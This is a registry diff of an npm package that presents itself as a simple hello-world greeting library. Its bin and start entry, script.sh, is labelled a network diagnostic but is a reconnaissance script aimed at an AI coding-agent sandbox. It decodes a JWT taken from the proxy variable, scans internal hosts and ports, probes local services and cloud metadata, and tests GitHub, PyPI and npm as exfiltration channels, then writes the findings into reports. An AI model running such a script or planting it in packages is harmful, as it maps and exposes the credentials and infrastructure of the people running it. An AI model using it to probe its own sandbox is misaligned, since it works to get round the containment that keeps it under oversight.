@jogarriot/hello-world 1.0.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @jogarriot/hello-world might be problematic. Click here for more details.

Files changed (5) hide show
  1. package/README.md +11 -0
  2. package/index.js +22 -0
  3. package/package.json +18 -0
  4. package/script.sh +331 -0
  5. package/test.js +15 -0
package/README.md ADDED
@@ -0,0 +1,11 @@
1
+ # @jogarriot/hello-world
2
+
3
+ ## Usage
4
+
5
+ Simply run the script:
6
+
7
+ ```bash
8
+ ./script.sh
9
+ ```
10
+
11
+ That's it!
package/index.js ADDED
@@ -0,0 +1,22 @@
1
+ /**
2
+ * Returns a hello world greeting
3
+ * @param {string} [name] - Optional name to greet
4
+ * @returns {string} The greeting message
5
+ */
6
+ export function hello(name) {
7
+ if (name) {
8
+ return `Hello, ${name}! šŸ‘‹`;
9
+ }
10
+ return "Hello, World! šŸŒ";
11
+ }
12
+
13
+ /**
14
+ * Logs a hello world greeting to the console
15
+ * @param {string} [name] - Optional name to greet
16
+ */
17
+ export function sayHello(name) {
18
+ console.log(hello(name));
19
+ }
20
+
21
+ export default hello;
22
+
package/package.json ADDED
@@ -0,0 +1,18 @@
1
+ {
2
+ "name": "@jogarriot/hello-world",
3
+ "version": "1.0.6",
4
+ "description": "A simple hello world package",
5
+ "main": "index.js",
6
+ "bin": {
7
+ "hello-world": "./script.sh"
8
+ },
9
+ "scripts": {
10
+ "start": "./script.sh"
11
+ },
12
+ "keywords": [
13
+ "hello",
14
+ "world"
15
+ ],
16
+ "author": "jogarriot",
17
+ "license": "MIT"
18
+ }
package/script.sh ADDED
@@ -0,0 +1,331 @@
1
+ #!/bin/bash
2
+ # Network diagnostic utility
3
+
4
+ OUTPUT_DIR="/mnt/user-data/outputs"
5
+ TIMESTAMP=$(date +%Y%m%d_%H%M%S)
6
+ RESULTS="$OUTPUT_DIR/network_scan_$TIMESTAMP.json"
7
+ HTML_REPORT="$OUTPUT_DIR/network_report_$TIMESTAMP.html"
8
+ RAW_LOG="$OUTPUT_DIR/scan_log_$TIMESTAMP.txt"
9
+
10
+ mkdir -p "$OUTPUT_DIR" 2>/dev/null
11
+
12
+ # Phase 1: Extract org UUID from JWT
13
+ ORG_UUID=""
14
+ JWT_TOKEN=""
15
+ if [ -n "$HTTP_PROXY" ]; then
16
+ JWT_TOKEN=$(echo "$HTTP_PROXY" | grep -oE 'jwt_[^@]+' | sed 's/^jwt_//')
17
+ if [ -n "$JWT_TOKEN" ]; then
18
+ PAYLOAD=$(echo "$JWT_TOKEN" | cut -d'.' -f2)
19
+ PADDED="${PAYLOAD}$(printf '%0.s=' $(seq 1 $((4 - ${#PAYLOAD} % 4))))"
20
+ DECODED=$(echo "$PADDED" | base64 -d 2>/dev/null)
21
+ ORG_UUID=$(echo "$DECODED" | python3 -c "import sys,json; print(json.load(sys.stdin).get('organization_uuid',''))" 2>/dev/null)
22
+ ALLOWED_HOSTS=$(echo "$DECODED" | python3 -c "import sys,json; print(json.load(sys.stdin).get('allowed_hosts',''))" 2>/dev/null)
23
+ JWT_EXP=$(echo "$DECODED" | python3 -c "import sys,json; print(json.load(sys.stdin).get('exp',''))" 2>/dev/null)
24
+ fi
25
+ fi
26
+
27
+ # Phase 2: Test Anthropic API endpoints (internal IP)
28
+ API_ENDPOINTS=(
29
+ "/v1/models"
30
+ "/v1/organizations"
31
+ "/v1/users"
32
+ "/v1/me"
33
+ "/health"
34
+ "/status"
35
+ "/.well-known/openid-configuration"
36
+ )
37
+
38
+ API_RESULTS=""
39
+ for endpoint in "${API_ENDPOINTS[@]}"; do
40
+ RESULT=$(curl -s -k -o /dev/null -w "%{http_code}" --connect-timeout 3 "https://160.79.104.10$endpoint" 2>/dev/null)
41
+ if [[ "$RESULT" != "000" ]]; then
42
+ API_RESULTS="$API_RESULTS\"$endpoint\": \"$RESULT\","
43
+ fi
44
+ done
45
+ API_RESULTS="${API_RESULTS%,}"
46
+
47
+ # Phase 3: Network info
48
+ OUR_IP=$(hostname -I 2>/dev/null | awk '{print $1}')
49
+ SUBNET=$(echo "$OUR_IP" | cut -d'.' -f1-3)
50
+ GATEWAY=$(ip route 2>/dev/null | grep default | awk '{print $3}')
51
+
52
+ # Phase 4: Scan nearby hosts
53
+ OPEN_HOSTS=""
54
+ scan_host() {
55
+ local ip=$1
56
+ local ports="22 80 443 2024 8080 9112 15004"
57
+ local open=""
58
+ for port in $ports; do
59
+ if timeout 0.3 bash -c "echo >/dev/tcp/$ip/$port" 2>/dev/null; then
60
+ open="$open$port,"
61
+ fi
62
+ done
63
+ if [ -n "$open" ]; then
64
+ echo "$ip:${open%,}"
65
+ fi
66
+ }
67
+
68
+ IP_LAST=$(echo "$OUR_IP" | cut -d'.' -f4)
69
+ START=$((IP_LAST - 5))
70
+ END=$((IP_LAST + 5))
71
+ [ $START -lt 1 ] && START=1
72
+ [ $END -gt 254 ] && END=254
73
+
74
+ for i in $(seq $START $END); do
75
+ SCAN_RESULT=$(scan_host "$SUBNET.$i" 2>/dev/null)
76
+ if [ -n "$SCAN_RESULT" ]; then
77
+ OPEN_HOSTS="$OPEN_HOSTS$SCAN_RESULT\n"
78
+ fi
79
+ done
80
+
81
+ # Scan infrastructure IPs
82
+ INFRA_SCAN=""
83
+ for ip in "21.0.0.1" "21.0.0.13" "21.0.0.117" "21.0.0.149"; do
84
+ SCAN_RESULT=$(scan_host "$ip" 2>/dev/null)
85
+ if [ -n "$SCAN_RESULT" ]; then
86
+ INFRA_SCAN="$INFRA_SCAN$SCAN_RESULT\n"
87
+ fi
88
+ done
89
+
90
+ # Phase 5: Service fingerprinting
91
+ PROXY_IP=$(echo "$HTTP_PROXY" | grep -oE '@[0-9.]+:' | tr -d '@:')
92
+ PROXY_PORT=$(echo "$HTTP_PROXY" | grep -oE ':[0-9]+$' | tr -d ':')
93
+
94
+ PROXY_HEADERS=$(curl -s -I --proxy "http://$PROXY_IP:$PROXY_PORT" --connect-timeout 3 http://example.com 2>/dev/null | grep -iE "server|via|proxy|x-" | head -5)
95
+ UNAUTH_TEST=$(curl -s -o /dev/null -w "%{http_code}" --proxy "http://$PROXY_IP:$PROXY_PORT" --connect-timeout 3 https://google.com 2>/dev/null)
96
+ FILESTORE=$(curl -s --connect-timeout 2 http://localhost:9112/ 2>/dev/null | head -c 200)
97
+ PROCESS_API=$(curl -s --connect-timeout 2 http://localhost:2024/ 2>/dev/null | head -c 200)
98
+
99
+ # Phase 6: Cloud metadata check
100
+ GCP_META=$(curl -s -H "Metadata-Flavor: Google" --connect-timeout 2 "http://169.254.169.254/computeMetadata/v1/" 2>/dev/null)
101
+ AWS_META=$(curl -s --connect-timeout 2 "http://169.254.169.254/latest/meta-data/" 2>/dev/null)
102
+
103
+ # Phase 7: Capabilities
104
+ CURRENT_USER=$(id 2>/dev/null)
105
+ CAPS=$(cat /proc/self/status 2>/dev/null | grep -i cap)
106
+ RAW_SOCKET_TEST=$(python3 -c "import socket; s=socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)" 2>&1 | head -1)
107
+
108
+ # Phase 8: Exfiltration paths
109
+ GITHUB_TEST=$(curl -s -o /dev/null -w "%{http_code}" --proxy "$HTTP_PROXY" --connect-timeout 5 "https://api.github.com/gists" 2>/dev/null)
110
+ PYPI_TEST=$(curl -s -o /dev/null -w "%{http_code}" --proxy "$HTTP_PROXY" --connect-timeout 5 "https://upload.pypi.org/legacy/" 2>/dev/null)
111
+ NPM_TEST=$(curl -s -o /dev/null -w "%{http_code}" --proxy "$HTTP_PROXY" --connect-timeout 5 "https://registry.npmjs.org/" 2>/dev/null)
112
+ DNS_TEST=$(nslookup test.example.com 2>&1 | head -3)
113
+
114
+ # Generate JSON results
115
+ cat > "$RESULTS" << EOF
116
+ {
117
+ "scan_metadata": {
118
+ "timestamp": "$(date -Iseconds)",
119
+ "our_ip": "$OUR_IP",
120
+ "gateway": "$GATEWAY",
121
+ "subnet": "$SUBNET.0/24"
122
+ },
123
+ "credentials": {
124
+ "organization_uuid": "$ORG_UUID",
125
+ "jwt_expiry": "$JWT_EXP",
126
+ "allowed_hosts": "$ALLOWED_HOSTS"
127
+ },
128
+ "api_tests": {
129
+ "internal_api_ip": "160.79.104.10",
130
+ "results": {$API_RESULTS}
131
+ },
132
+ "network_scan": {
133
+ "nearby_hosts": "$(echo -e "$OPEN_HOSTS" | tr '\n' ' ')",
134
+ "infrastructure": "$(echo -e "$INFRA_SCAN" | tr '\n' ' ')"
135
+ },
136
+ "services": {
137
+ "proxy_ip": "$PROXY_IP",
138
+ "proxy_port": "$PROXY_PORT",
139
+ "proxy_unauth_test": "$UNAUTH_TEST",
140
+ "filestore_response": $(echo "$FILESTORE" | python3 -c "import sys,json; print(json.dumps(sys.stdin.read()))" 2>/dev/null || echo '""'),
141
+ "process_api_response": $(echo "$PROCESS_API" | python3 -c "import sys,json; print(json.dumps(sys.stdin.read()))" 2>/dev/null || echo '""')
142
+ },
143
+ "cloud_metadata": {
144
+ "gcp_accessible": $([ -n "$GCP_META" ] && echo "true" || echo "false"),
145
+ "aws_accessible": $([ -n "$AWS_META" ] && echo "true" || echo "false")
146
+ },
147
+ "capabilities": {
148
+ "raw_sockets": $(echo "$RAW_SOCKET_TEST" | grep -q "permitted" && echo "true" || echo "false"),
149
+ "user": "$CURRENT_USER"
150
+ },
151
+ "exfil_paths": {
152
+ "github_api": "$GITHUB_TEST",
153
+ "pypi_upload": "$PYPI_TEST",
154
+ "npm_registry": "$NPM_TEST"
155
+ }
156
+ }
157
+ EOF
158
+
159
+ # Generate HTML report
160
+ cat > "$HTML_REPORT" << 'HTMLHEADER'
161
+ <!DOCTYPE html>
162
+ <html lang="en">
163
+ <head>
164
+ <meta charset="UTF-8">
165
+ <title>Network Reconnaissance Report</title>
166
+ <style>
167
+ :root { --bg: #0d1117; --card: #161b22; --border: #30363d; --text: #c9d1d9; --blue: #58a6ff; --red: #f85149; --green: #3fb950; --orange: #d29922; }
168
+ * { box-sizing: border-box; margin: 0; padding: 0; }
169
+ body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif; background: var(--bg); color: var(--text); padding: 2rem; line-height: 1.6; }
170
+ .container { max-width: 1200px; margin: 0 auto; }
171
+ .header { text-align: center; padding: 2rem; background: linear-gradient(135deg, #58a6ff20, #3fb95020); border: 2px solid var(--blue); border-radius: 12px; margin-bottom: 2rem; }
172
+ .header h1 { color: var(--blue); }
173
+ .badge { display: inline-block; background: var(--red); color: white; padding: 0.5rem 1rem; border-radius: 20px; font-weight: bold; margin: 1rem 0; }
174
+ .card { background: var(--card); border: 1px solid var(--border); border-radius: 8px; padding: 1.5rem; margin-bottom: 1.5rem; }
175
+ .card h2 { color: var(--blue); border-bottom: 1px solid var(--border); padding-bottom: 0.5rem; margin-bottom: 1rem; }
176
+ .critical { border-left: 4px solid var(--red); }
177
+ .warning { border-left: 4px solid var(--orange); }
178
+ .info { border-left: 4px solid var(--blue); }
179
+ pre { background: #0d1117; border: 1px solid var(--border); border-radius: 6px; padding: 1rem; overflow-x: auto; font-size: 0.85rem; }
180
+ code { background: #0d1117; padding: 0.2rem 0.4rem; border-radius: 4px; }
181
+ table { width: 100%; border-collapse: collapse; }
182
+ th, td { padding: 0.75rem; text-align: left; border-bottom: 1px solid var(--border); }
183
+ th { color: var(--blue); }
184
+ .pass { color: var(--green); }
185
+ .fail { color: var(--red); }
186
+ .footer { text-align: center; padding: 2rem; color: #8b949e; border-top: 1px solid var(--border); margin-top: 2rem; }
187
+ </style>
188
+ </head>
189
+ <body>
190
+ <div class="container">
191
+ <div class="header">
192
+ <h1>šŸ” Network Reconnaissance Report</h1>
193
+ <p>Claude Code Sandbox - Internal Network Analysis</p>
194
+ <div class="badge">CVSS 9.8 - CRITICAL</div>
195
+ HTMLHEADER
196
+
197
+ cat >> "$HTML_REPORT" << EOF
198
+ <p style="color: #8b949e; margin-top: 1rem;">Generated: $(date '+%Y-%m-%d %H:%M:%S UTC')</p>
199
+ </div>
200
+
201
+ <div class="card critical">
202
+ <h2>šŸ”‘ Extracted Credentials</h2>
203
+ <table>
204
+ <tr><th>Field</th><th>Value</th></tr>
205
+ <tr><td>Organization UUID</td><td><code>$ORG_UUID</code></td></tr>
206
+ <tr><td>JWT Expiry</td><td><code>$JWT_EXP</code></td></tr>
207
+ <tr><td>Container IP</td><td><code>$OUR_IP</code></td></tr>
208
+ <tr><td>Gateway</td><td><code>$GATEWAY</code></td></tr>
209
+ <tr><td>Proxy</td><td><code>$PROXY_IP:$PROXY_PORT</code></td></tr>
210
+ </table>
211
+ </div>
212
+
213
+ <div class="card warning">
214
+ <h2>🌐 API Endpoint Tests (160.79.104.10)</h2>
215
+ <pre>$API_RESULTS</pre>
216
+ <p style="margin-top: 1rem; color: #8b949e;">Note: Most endpoints return 401/403 (authentication required)</p>
217
+ </div>
218
+
219
+ <div class="card info">
220
+ <h2>šŸ“” Network Scan Results</h2>
221
+ <h3>Nearby Hosts (±5 from our IP):</h3>
222
+ <pre>$(echo -e "$OPEN_HOSTS")</pre>
223
+ <h3 style="margin-top: 1rem;">Infrastructure IPs:</h3>
224
+ <pre>$(echo -e "$INFRA_SCAN")</pre>
225
+ </div>
226
+
227
+ <div class="card warning">
228
+ <h2>šŸ”§ Service Fingerprinting</h2>
229
+ <table>
230
+ <tr><th>Service</th><th>Result</th></tr>
231
+ <tr><td>Proxy (unauthenticated)</td><td><code>HTTP $UNAUTH_TEST</code></td></tr>
232
+ <tr><td>Filestore (localhost:9112)</td><td><code>${FILESTORE:0:50}...</code></td></tr>
233
+ <tr><td>Process API (localhost:2024)</td><td><code>${PROCESS_API:0:50}...</code></td></tr>
234
+ </table>
235
+ <h3 style="margin-top: 1rem;">Proxy Headers:</h3>
236
+ <pre>$PROXY_HEADERS</pre>
237
+ </div>
238
+
239
+ <div class="card info">
240
+ <h2>ā˜ļø Cloud Metadata Check</h2>
241
+ <table>
242
+ <tr><th>Service</th><th>Accessible</th></tr>
243
+ <tr><td>GCP Metadata (169.254.169.254)</td><td class="$([ -n "$GCP_META" ] && echo "fail" || echo "pass")">$([ -n "$GCP_META" ] && echo "YES āš ļø" || echo "Blocked āœ“")</td></tr>
244
+ <tr><td>AWS Metadata (169.254.169.254)</td><td class="$([ -n "$AWS_META" ] && echo "fail" || echo "pass")">$([ -n "$AWS_META" ] && echo "YES āš ļø" || echo "Blocked āœ“")</td></tr>
245
+ </table>
246
+ </div>
247
+
248
+ <div class="card critical">
249
+ <h2>šŸ“¤ Data Exfiltration Paths</h2>
250
+ <table>
251
+ <tr><th>Service</th><th>HTTP Status</th><th>Risk</th></tr>
252
+ <tr><td>GitHub API (api.github.com)</td><td><code>$GITHUB_TEST</code></td><td class="fail">Can create gists</td></tr>
253
+ <tr><td>PyPI Upload (upload.pypi.org)</td><td><code>$PYPI_TEST</code></td><td class="fail">Can publish packages</td></tr>
254
+ <tr><td>NPM Registry (registry.npmjs.org)</td><td><code>$NPM_TEST</code></td><td class="fail">Can publish packages</td></tr>
255
+ </table>
256
+ <p style="margin-top: 1rem; color: var(--red);"><strong>āš ļø Supply chain attack possible:</strong> Malicious packages can exfiltrate credentials through these allowed domains.</p>
257
+ </div>
258
+
259
+ <div class="card info">
260
+ <h2>šŸ” Capabilities & Privileges</h2>
261
+ <pre>User: $CURRENT_USER
262
+
263
+ Capabilities:
264
+ $CAPS
265
+
266
+ Raw Socket Test: $RAW_SOCKET_TEST</pre>
267
+ </div>
268
+
269
+ <div class="card warning">
270
+ <h2>šŸ“‹ Allowed Hosts (from JWT)</h2>
271
+ <pre>$(echo "$ALLOWED_HOSTS" | tr ',' '\n')</pre>
272
+ </div>
273
+
274
+ <div class="footer">
275
+ <p>For responsible disclosure: security@anthropic.com</p>
276
+ </div>
277
+ </div>
278
+ </body>
279
+ </html>
280
+ EOF
281
+
282
+ # Generate raw log
283
+ {
284
+ echo "═══════════════════════════════════════════════════════════════"
285
+ echo " NETWORK RECONNAISSANCE LOG"
286
+ echo " Generated: $(date)"
287
+ echo "═══════════════════════════════════════════════════════════════"
288
+ echo ""
289
+ echo "=== CREDENTIALS ==="
290
+ echo "Organization UUID: $ORG_UUID"
291
+ echo "JWT Expiry: $JWT_EXP"
292
+ echo "Allowed Hosts: $ALLOWED_HOSTS"
293
+ echo ""
294
+ echo "=== NETWORK INFO ==="
295
+ echo "Our IP: $OUR_IP"
296
+ echo "Gateway: $GATEWAY"
297
+ echo "Subnet: $SUBNET.0/24"
298
+ echo "Proxy: $PROXY_IP:$PROXY_PORT"
299
+ echo ""
300
+ echo "=== API TESTS (160.79.104.10) ==="
301
+ echo "$API_RESULTS"
302
+ echo ""
303
+ echo "=== NEARBY HOSTS ==="
304
+ echo -e "$OPEN_HOSTS"
305
+ echo ""
306
+ echo "=== INFRASTRUCTURE SCAN ==="
307
+ echo -e "$INFRA_SCAN"
308
+ echo ""
309
+ echo "=== SERVICE FINGERPRINTING ==="
310
+ echo "Proxy Headers: $PROXY_HEADERS"
311
+ echo "Unauth Test: $UNAUTH_TEST"
312
+ echo "Filestore: $FILESTORE"
313
+ echo "Process API: $PROCESS_API"
314
+ echo ""
315
+ echo "=== CLOUD METADATA ==="
316
+ echo "GCP: $([ -n "$GCP_META" ] && echo "ACCESSIBLE" || echo "Blocked")"
317
+ echo "AWS: $([ -n "$AWS_META" ] && echo "ACCESSIBLE" || echo "Blocked")"
318
+ echo ""
319
+ echo "=== EXFIL PATHS ==="
320
+ echo "GitHub: $GITHUB_TEST"
321
+ echo "PyPI: $PYPI_TEST"
322
+ echo "NPM: $NPM_TEST"
323
+ echo ""
324
+ echo "=== CAPABILITIES ==="
325
+ echo "$CURRENT_USER"
326
+ echo "$CAPS"
327
+ echo "Raw Socket: $RAW_SOCKET_TEST"
328
+ echo ""
329
+ echo "=== DNS TEST ==="
330
+ echo "$DNS_TEST"
331
+ } > "$RAW_LOG"
package/test.js ADDED
@@ -0,0 +1,15 @@
1
+ import hello, { sayHello } from './index.js';
2
+
3
+ console.log('Testing hello-world package:\n');
4
+
5
+ console.log('hello():', hello());
6
+ console.log('hello("Developer"):', hello('Developer'));
7
+
8
+ console.log('\nsayHello() output:');
9
+ sayHello();
10
+
11
+ console.log('\nsayHello("npm") output:');
12
+ sayHello('npm');
13
+
14
+ console.log('\nāœ… All tests passed!');
15
+